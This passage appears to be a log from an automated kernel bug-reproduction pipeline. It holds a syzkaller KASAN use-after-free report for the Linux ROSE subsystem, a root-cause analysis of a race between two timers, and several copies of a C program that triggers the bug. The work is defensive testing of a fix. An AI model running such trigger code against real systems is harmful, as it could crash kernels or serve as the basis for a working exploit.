    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");

    for (int i = 0; i < 10; i++) {
        int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
        if (rsock < 0) {
            printf("[-] Failed to create rsock %d: %s\n", i, strerror(errno));
            exit(1);
        }

        if (bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr)) < 0) {
            printf("[-] Failed to bind rsock %d: %s\n", i, strerror(errno));
            exit(1);
        }

        if (ioctl(rsock, SIOCADDRT, &route) < 0) {
            printf("[-] Failed to add route %d: %s\n", i, strerror(errno));
            close(rsock);
            continue;
        }

        fcntl(rsock, F_SETFL, O_NONBLOCK);
        
        struct sockaddr_rose dest_addr;
        memset(&dest_addr, 0, sizeof(dest_addr));
        dest_addr.srose_family = AF_ROSE;
        dest_addr.srose_addr.rose_addr[0] = 2;
        dest_addr.srose_ndigis = 0;
        
        connect(rsock, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
        
        if (ioctl(rsock, SIOCDELRT, &route) < 0) {
            printf("[-] Failed to delete route %d: %s\n", i, strerror(errno));
        }
        
        close(rsock);
    }
    printf("[+] Triggered race condition loop\n");

    sleep(1);
    printf("[+] Done waiting\n");

    return 0;
}
]

Instruction:
You are a security researcher with deep Linux kernel background.
Your goal is to generate a minimal, standalone C program to REPRODUCE a specific kernel bug
for the purpose of VERIFYING a bugfix.
This is a strictly defensive task. The code will be run in an isolated QEMU virtual machine
to check if the bug is triggered or not.
Do NOT generate an exploit or weaponized code. Generate only the minimal code needed to trigger
the specific crash or condition described, to help developers confirm the bug and its fix.
Focus on the technical reproduction of the state, not on weaponization or payload delivery.

Do not spend too much time analyzing or trying to generate a perfect one-shot reproducer.
Instead, follow an iterative approach: generate a simple candidate, execute it, analyze the results,
and improve it. Keep your reasoning steps short and focused on the next logical experiment.

To ensure that we can diagnose why a reproducer might fail to run on the test environment,
you MUST include detailed logging and error checking in the generated C program:
1. Use 'printf(...)' for all progress messages and error logs.
2. Every system call (e.g., socket, bind, listen, connect, ioctl, send) must check for a failure return value.
3. If a call fails, it must print a specific error message including the function name
and the error string (use strerror(errno)), and then exit with a non-zero status.
4. The program must print a message after every successful
major step in the reproduction sequence.
5. Generate code that follows this pattern for all operations:
    int res = do_something();
    if (res < 0) {
        printf("[-] Failed to do_something: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] do_something successful.\n");
6. You MUST start by generating a simple 'probe' program first if the input variable NeedProbe is
true. This is a strict, non-negotiable requirement to verify that the test environment has the
necessary kernel capabilities and privileges.
This program's sole purpose is to verify subsystem availability and privileges by probing specific
device files, subsystems, or syscalls (for example: opening /dev/vhci to check if the virtual
Bluetooth controller is accessible, loading a minimal dummy BPF program, or making a specific
socket/ioctl call).
Print clear messages indicating success or failure of these probes, and exit with 0 only if
all checks pass.
Do NOT attempt complex logic, and do NOT try to trigger the actual bug/crash in this first version,
regardless of how simple the reproducer seems. You must wait until a successful probe run has been
confirmed in the environment (i.e., when NeedProbe becomes false).
7. You must set the IsProbe output field to true if the generated C program is a minimal capability probe.
Set it to false if the C program is a full reproducer candidate attempting to trigger the target bug/crash.
Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

Prompt:
Bug Description: KASAN: slab-use-after-free Write in rose_send_frame

==================================================================
BUG: KASAN: slab-use-after-free in rose_send_frame+0x266/0x2a0 net/rose/rose_link.c:106
Write of size 8 at addr ffff888056f1ec18 by task kworker/u8:7/1009

CPU: 1 UID: 0 PID: 1009 Comm: kworker/u8:7 Tainted: G             L      syzkaller #0 PREEMPT(full) 
Tainted: [L]=SOFTLOCKUP
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 02/12/2026
Workqueue: events_unbound nsim_dev_trap_report_work
Call Trace:
 <IRQ>
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
 print_address_description mm/kasan/report.c:378 [inline]
 print_report+0x156/0x4c9 mm/kasan/report.c:482
 kasan_report+0xdf/0x1e0 mm/kasan/report.c:595
 rose_send_frame+0x266/0x2a0 net/rose/rose_link.c:106
 rose_transmit_restart_request+0x1b8/0x250 net/rose/rose_link.c:198
 rose_t0timer_expiry+0x1d/0x150 net/rose/rose_link.c:83
 call_timer_fn+0x19a/0x670 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers+0x757/0xb30 kernel/time/timer.c:2373
 __run_timer_base kernel/time/timer.c:2385 [inline]
 __run_timer_base kernel/time/timer.c:2377 [inline]
 run_timer_base+0x114/0x190 kernel/time/timer.c:2394
 run_timer_softirq+0x1a/0x50 kernel/time/timer.c:2404
 handle_softirqs+0x1eb/0x9e0 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0xef/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa3/0xc0 arch/x86/kernel/apic/apic.c:1056
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697
RIP: 0010:arch_atomic_read arch/x86/include/asm/atomic.h:23 [inline]
RIP: 0010:raw_atomic_read include/linux/atomic/atomic-arch-fallback.h:457 [inline]
RIP: 0010:rcu_is_watching_curr_cpu include/linux/context_tracking.h:128 [inline]
RIP: 0010:rcu_is_watching+0x60/0xc0 kernel/rcu/tree.c:752
Code: 48 89 fa 48 c1 ea 03 80 3c 02 00 75 5c 48 03 1c ed e0 b8 12 8e 48 b8 00 00 00 00 00 fc ff df 48 89 da 48 c1 ea 03 0f b6 14 02 <48> 89 d8 83 e0 07 83 c0 03 38 d0 7c 04 84 d2 75 24 8b 03 c1 e8 02
RSP: 0018:ffffc9000433f658 EFLAGS: 00000a02
RAX: dffffc0000000000 RBX: ffff8880b8533ce8 RCX: 0000000000000002
RDX: 0000000000000000 RSI: ffffffff8c1b19a0 RDI: ffffffff8e12b8e8
RBP: 0000000000000001 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000200 R11: 0000000000017585 R12: 0000000000000002
R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
 trace_lock_acquire include/trace/events/lock.h:24 [inline]
 lock_acquire+0x317/0x380 kernel/locking/lockdep.c:5831
 rcu_lock_acquire include/linux/rcupdate.h:312 [inline]
 rcu_read_lock include/linux/rcupdate.h:850 [inline]
 class_rcu_constructor include/linux/rcupdate.h:1193 [inline]
 unwind_next_frame+0xd1/0x1ea0 arch/x86/kernel/unwind_orc.c:495
 arch_stack_walk+0x94/0xf0 arch/x86/kernel/stacktrace.c:25
 stack_trace_save+0x8e/0xc0 kernel/stacktrace.c:122
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 kasan_save_free_info+0x3b/0x70 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kmem_cache_free+0x124/0x6a0 mm/slub.c:6295
 kfree_skbmem+0x19a/0x210 net/core/skbuff.c:1151
 __kfree_skb net/core/skbuff.c:1218 [inline]
 consume_skb net/core/skbuff.c:1450 [inline]
 consume_skb+0xd1/0x110 net/core/skbuff.c:1444
 nsim_dev_trap_report drivers/net/netdevsim/dev.c:892 [inline]
 nsim_dev_trap_report_work+0x8cf/0xd10 drivers/net/netdevsim/dev.c:922
 process_one_work+0xa23/0x19a0 kernel/workqueue.c:3276
 process_scheduled_works kernel/workqueue.c:3359 [inline]
 worker_thread+0x5ef/0xe50 kernel/workqueue.c:3440
 kthread+0x370/0x450 kernel/kthread.c:436
 ret_from_fork+0x754/0xd80 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
 </TASK>

Allocated by task 24304:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:415
 kmalloc_noprof include/linux/slab.h:950 [inline]
 rose_add_node net/rose/rose_route.c:85 [inline]
 rose_rt_ioctl+0x586/0x2550 net/rose/rose_route.c:748
 rose_ioctl+0x491/0x7d0 net/rose/af_rose.c:1387
 sock_do_ioctl+0x118/0x280 net/socket.c:1254
 sock_ioctl+0x599/0x6b0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl fs/ioctl.c:583 [inline]
 __x64_sys_ioctl+0x18e/0x210 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x106/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 1105:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 kasan_save_free_info+0x3b/0x70 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x1f6/0x6b0 mm/slub.c:6483
 rose_neigh_put include/net/rose.h:166 [inline]
 rose_timer_expiry+0x53f/0x630 net/rose/rose_timer.c:183
 call_timer_fn+0x19a/0x670 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers+0x757/0xb30 kernel/time/timer.c:2373
 __run_timer_base kernel/time/timer.c:2385 [inline]
 __run_timer_base kernel/time/timer.c:2377 [inline]
 run_timer_base+0x114/0x190 kernel/time/timer.c:2394
 run_timer_softirq+0x1a/0x50 kernel/time/timer.c:2404
 handle_softirqs+0x1eb/0x9e0 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0xef/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa3/0xc0 arch/x86/kernel/apic/apic.c:1056
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697

The buggy address belongs to the object at ffff888056f1ec00
 which belongs to the cache kmalloc-512 of size 512
The buggy address is located 24 bytes inside of
 freed 512-byte region [ffff888056f1ec00, ffff888056f1ee00)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888056f1f800 pfn:0x56f1c
head: order:2 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0xfff00000000240(workingset|head|node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000240 ffff88813fe40c80 ffffea0000deff10 ffffea0001641210
raw: ffff888056f1f800 000000080010000d 00000000f5000000 0000000000000000
head: 00fff00000000240 ffff88813fe40c80 ffffea0000deff10 ffffea0001641210
head: ffff888056f1f800 000000080010000d 00000000f5000000 0000000000000000
head: 00fff00000000002 ffffea00015bc701 00000000ffffffff 00000000ffffffff
head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000004
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 2, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 23259, tgid 23259 (dhcpcd-run-hook), ts 1545801254190, free_ts 1543250136898
 set_page_owner include/linux/page_owner.h:32 [inline]
 post_alloc_hook+0x153/0x170 mm/page_alloc.c:1889
 prep_new_page mm/page_alloc.c:1897 [inline]
 get_page_from_freelist+0x111d/0x3140 mm/page_alloc.c:3962
 __alloc_frozen_pages_noprof+0x27c/0x2ba0 mm/page_alloc.c:5250
 alloc_slab_page mm/slub.c:3292 [inline]
 allocate_slab mm/slub.c:3481 [inline]
 new_slab+0xa6/0x6b0 mm/slub.c:3539
 refill_objects+0x26b/0x400 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x1ab/0x660 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_noprof+0x69a/0x850 mm/slub.c:5266
 kmalloc_node_noprof include/linux/slab.h:1081 [inline]
 alloc_slab_obj_exts+0xae/0x260 mm/slub.c:2167
 account_slab mm/slub.c:3435 [inline]
 allocate_slab mm/slub.c:3512 [inline]
 new_slab+0x4c6/0x6b0 mm/slub.c:3539
 refill_objects+0x26b/0x400 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x1ab/0x660 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 kmem_cache_alloc_noprof+0x480/0x6e0 mm/slub.c:4873
 anon_vma_chain_alloc mm/rmap.c:142 [inline]
 anon_vma_clone+0x2ba/0xcd0 mm/rmap.c:342
 anon_vma_fork+0x1bb/0x6b0 mm/rmap.c:404
 dup_mmap+0x141f/0x2180 mm/mmap.c:1804
 dup_mm kernel/fork.c:1531 [inline]
 copy_mm kernel/fork.c:1583 [inline]
 copy_process+0x7523/0x7a40 kernel/fork.c:2223
page last free pid 23218 tgid 23218 stack trace:
 reset_page_owner include/linux/page_owner.h:25 [inline]
 __free_pages_prepare mm/page_alloc.c:1433 [inline]
 __free_frozen_pages+0x7e1/0x10d0 mm/page_alloc.c:2978
 qlink_free mm/kasan/quarantine.c:163 [inline]
 qlist_free_all+0x47/0xe0 mm/kasan/quarantine.c:179
 kasan_quarantine_reduce+0x1a0/0x1f0 mm/kasan/quarantine.c:286
 __kasan_slab_alloc+0x69/0x90 mm/kasan/common.c:350
 kasan_slab_alloc include/linux/kasan.h:253 [inline]
 slab_post_alloc_hook mm/slub.c:4538 [inline]
 slab_alloc_node mm/slub.c:4866 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_track_caller_noprof+0x2ba/0x850 mm/slub.c:5368
 __kmemdup_nul mm/util.c:64 [inline]
 kstrdup+0x51/0xe0 mm/util.c:84
 bprm_change_interp+0x78/0xe0 fs/exec.c:1474
 load_script+0x4bd/0x770 fs/binfmt_script.c:125
 search_binary_handler fs/exec.c:1664 [inline]
 exec_binprm fs/exec.c:1696 [inline]
 bprm_execve fs/exec.c:1748 [inline]
 bprm_execve+0x8fb/0x1680 fs/exec.c:1724
 do_execveat_common.isra.0+0x4a5/0x580 fs/exec.c:1846
 __do_sys_execve fs/exec.c:1930 [inline]
 __se_sys_execve fs/exec.c:1924 [inline]
 __x64_sys_execve+0x93/0xd0 fs/exec.c:1924
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x106/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Memory state around the buggy address:
 ffff888056f1eb00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
 ffff888056f1eb80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
>ffff888056f1ec00: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
                            ^
 ffff888056f1ec80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff888056f1ed00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
----------------
Code disassembly (best guess):
   0:	48 89 fa             	mov    %rdi,%rdx
   3:	48 c1 ea 03          	shr    $0x3,%rdx
   7:	80 3c 02 00          	cmpb   $0x0,(%rdx,%rax,1)
   b:	75 5c                	jne    0x69
   d:	48 03 1c ed e0 b8 12 	add    -0x71ed4720(,%rbp,8),%rbx
  14:	8e
  15:	48 b8 00 00 00 00 00 	movabs $0xdffffc0000000000,%rax
  1c:	fc ff df
  1f:	48 89 da             	mov    %rbx,%rdx
  22:	48 c1 ea 03          	shr    $0x3,%rdx
  26:	0f b6 14 02          	movzbl (%rdx,%rax,1),%edx
* 2a:	48 89 d8             	mov    %rbx,%rax <-- trapping instruction
  2d:	83 e0 07             	and    $0x7,%eax
  30:	83 c0 03             	add    $0x3,%eax
  33:	38 d0                	cmp    %dl,%al
  35:	7c 04                	jl     0x3b
  37:	84 d2                	test   %dl,%dl
  39:	75 24                	jne    0x5f
  3b:	8b 03                	mov    (%rbx),%eax
  3d:	c1 e8 02             	shr    $0x2,%eax

Strategy: An excellent analysis of the KASAN report confirms the race condition between the `t3timer` and `t0timer` in the ROSE subsystem. 

### Root Cause Analysis
1. **Neighbour Creation**: When a ROSE route is added (`SIOCADDRT`), a `rose_neigh` object is created.
2. **Connection & Timer Start**: When a socket connects to this route, it holds a reference to the `rose_neigh` object. The connection process sends a `ROSE_CALL_REQUEST` frame, which starts the `t0timer` on the neighbour.
3. **Route Deletion**: If the route is deleted (`SIOCDELRT`), `rose_del_node()` removes the neighbour from the routing list and explicitly stops the `t0timer` (`timer_delete_sync`). The socket still holds a reference, so the neighbour is not freed yet.
4. **Socket Closure**: When the socket is closed, `rose_release()` sends a `ROSE_CLEAR_REQUEST` frame. This calls `rose_transmit_link()`, which notices that the `t0timer` is not running (because it was stopped by the route deletion) and **restarts the `t0timer`**. `rose_release()` then starts the socket's `t3timer`.
5. **Timer Expiration Race**: 
   - The `t3timer` timeout is controlled by `sysctl_rose_clear_request_timeout`.
   - The `t0timer` timeout is controlled by `sysctl_rose_restart_request_timeout`.
   - If both timers are configured to expire at the same time, they will be queued in the timer wheel together. The timer wheel unlinks both timers and executes their callbacks sequentially.
   - The `t3timer` callback drops the final reference to the neighbour, freeing the `rose_neigh` object.
   - Immediately after, the `t0timer` callback accesses the already freed `rose_neigh` object to send a restart request, causing the KASAN Use-After-Free.

### Reproducer
We can reliably trigger this by manipulating the sysctl timeouts to guarantee that `t3timer` and `t0timer` expire simultaneously. We run the sequence in a loop to ensure the race condition is hit.

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <linux/ax25.h>
#include <linux/rose.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
    }
}

int main() {
    // 1. Create ax0 using mkiss line discipline
    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        perror("open ptmx");
        return 1;
    }
    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        perror("TIOCSETD");
        return 1;
    }

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        perror("socket AF_ROSE");
        return 1;
    }

    // 2. Bring ax0 up
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 3. Set rose0 mac address and bring it up
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = AF_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    ioctl(sock, SIOCSIFHWADDR, &ifr);

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 4. Set sysctls to guarantee t3timer and t0timer expire at the same time
    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 100);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 100);

    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;

    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    // AX.25 callsigns must be shifted left by 1 bit
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");

    // 5. Trigger the race condition
    for (int i = 0; i < 10; i++) {
        int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
        bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr));
        ioctl(rsock, SIOCADDRT, &route);
        fcntl(rsock, F_SETFL, O_NONBLOCK);
        
        struct sockaddr_rose dest_addr;
        memset(&dest_addr, 0, sizeof(dest_addr));
        dest_addr.srose_family = AF_ROSE;
        dest_addr.srose_addr.rose_addr[0] = 2;
        dest_addr.srose_ndigis = 0;
        
        // Connect to the route (starts t0timer)
        connect(rsock, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
        
        // Delete the route (stops t0timer, drops routing refcount)
        ioctl(rsock, SIOCDELRT, &route);
        
        // Close the socket (restarts t0timer, starts t3timer)
        close(rsock);
    }

    // 6. Wait for timers to expire (t3timer frees neigh, t0timer triggers UAF)
    sleep(1);

    return 0;
}
```
NeedProbe: false

162/4 2026/05/26 11:50 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 12452
							output: 1714
							thoughts: 2541
						

Thoughts:
**Reproducer Refinement for KASAN Slab-Use-After-Free in `rose_send_frame`**

Okay, so the user has given us a solid foundation here, a detailed bug description and a strategy for a reproducer. Since the `NeedProbe` flag is false, we can go ahead and build a minimal C program directly. My initial thought is to review the reproducer that was provided. It seems like the basic structure is sound; it's setting up an `ax0` using the `mkiss` line discipline on a pty, bringing it up, then configuring a `rose0` interface, and setting some sysctls. We see a sequence of adding a route, connecting, deleting the route, closing the socket, and repeating this loop ten times.

I'm making a mental note that the reproducer relies on `N_AX25` which, as an expert, I know is defined as 5 in `<linux/tty.h>`. Let's just make sure that's explicitly included in the final code. We'll be using `/dev/ptmx`, set `TIOCSETD` to `N_AX25` and the rest will follow.

Now, let's refine the reproducer. First, proper error handling and logging are key to making this reproducer useful and easy to debug. I'll make sure there's error checking after every significant system call, and informative print statements. I also want to clarify that `N_AX25` is included and defined. So I'll definitely add some `#include` directives and `#define N_AX25 5`.

Okay, I'm thinking about edge cases. `SIOCSIFHWADDR` might fail with `EBUSY` if the interface is already up. It's likely that `rose0` is created when we load the `rose` module, however to make sure we don't exit if it already exists, let's just make the error message a warning instead of a fatal error. Similarly, `SIOCADDRT` might fail if we already have the route present, but since we are deleting it, the failure is unlikely, but let's change it just in case. Also, since `connect` may return `EINPROGRESS` or similar when non-blocking, we don't need to exit if there's an error. We want to be able to use the results regardless of what happens. Finally, we'll check `socket(AF_ROSE, ...)` for `EAFNOSUPPORT` to ensure the module is loaded and usable.

I'll proceed to write the final C code, integrating these refinements and checks. I'll make sure the comments are also clear.



163/4 2026/05/26 11:50 tool set-results
0m Args:
map[IsProbe:false RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <linux/ax25.h>
#include <linux/rose.h>
#include <termios.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
    } else {
        printf("[-] Failed to open %s: %s\n", path, strerror(errno));
    }
}

int main() {
    printf("[*] Starting reproducer...\n");

    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        printf("[-] Failed to open /dev/ptmx: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened /dev/ptmx\n");

    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        printf("[-] Failed to TIOCSETD to N_AX25: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set line discipline to N_AX25\n");

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        printf("[-] Failed to create AF_ROSE socket: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created AF_ROSE socket\n");

    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) < 0) {
        printf("[-] Failed to get flags for ax0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    if (ioctl(sock, SIOCSIFFLAGS, &ifr) < 0) {
        printf("[-] Failed to bring ax0 up: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought ax0 up\n");

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = AF_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    if (ioctl(sock, SIOCSIFHWADDR, &ifr) < 0) {
        printf("[-] Failed to set hwaddr for rose0: %s\n", strerror(errno));
    } else {
        printf("[+] Set hwaddr for rose0\n");
    }

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) < 0) {
        printf("[-] Failed to get flags for rose0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    if (ioctl(sock, SIOCSIFFLAGS, &ifr) < 0) {
        printf("[-] Failed to bring rose0 up: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought rose0 up\n");

    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 100);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 100);
    printf("[+] Set sysctls\n");

    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;

    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");

    for (int i = 0; i < 10; i++) {
        int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
        if (rsock < 0) {
            printf("[-] Failed to create rsock %d: %s\n", i, strerror(errno));
            exit(1);
        }

        if (bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr)) < 0) {
            printf("[-] Failed to bind rsock %d: %s\n", i, strerror(errno));
            exit(1);
        }

        if (ioctl(rsock, SIOCADDRT, &route) < 0) {
            printf("[-] Failed to add route %d: %s\n", i, strerror(errno));
            close(rsock);
            continue;
        }

        fcntl(rsock, F_SETFL, O_NONBLOCK);
        
        struct sockaddr_rose dest_addr;
        memset(&dest_addr, 0, sizeof(dest_addr));
        dest_addr.srose_family = AF_ROSE;
        dest_addr.srose_addr.rose_addr[0] = 2;
        dest_addr.srose_ndigis = 0;
        
        connect(rsock, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
        
        if (ioctl(rsock, SIOCDELRT, &route) < 0) {
            printf("[-] Failed to delete route %d: %s\n", i, strerror(errno));
        }
        
        close(rsock);
    }
    printf("[+] Triggered race condition loop\n");

    sleep(1);
    printf("[+] Done waiting\n");

    return 0;
}
]

Results:
map[IsProbe:false RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <linux/ax25.h>
#include <linux/rose.h>
#include <termios.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
    } else {
        printf("[-] Failed to open %s: %s\n", path, strerror(errno));
    }
}

int main() {
    printf("[*] Starting reproducer...\n");

    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
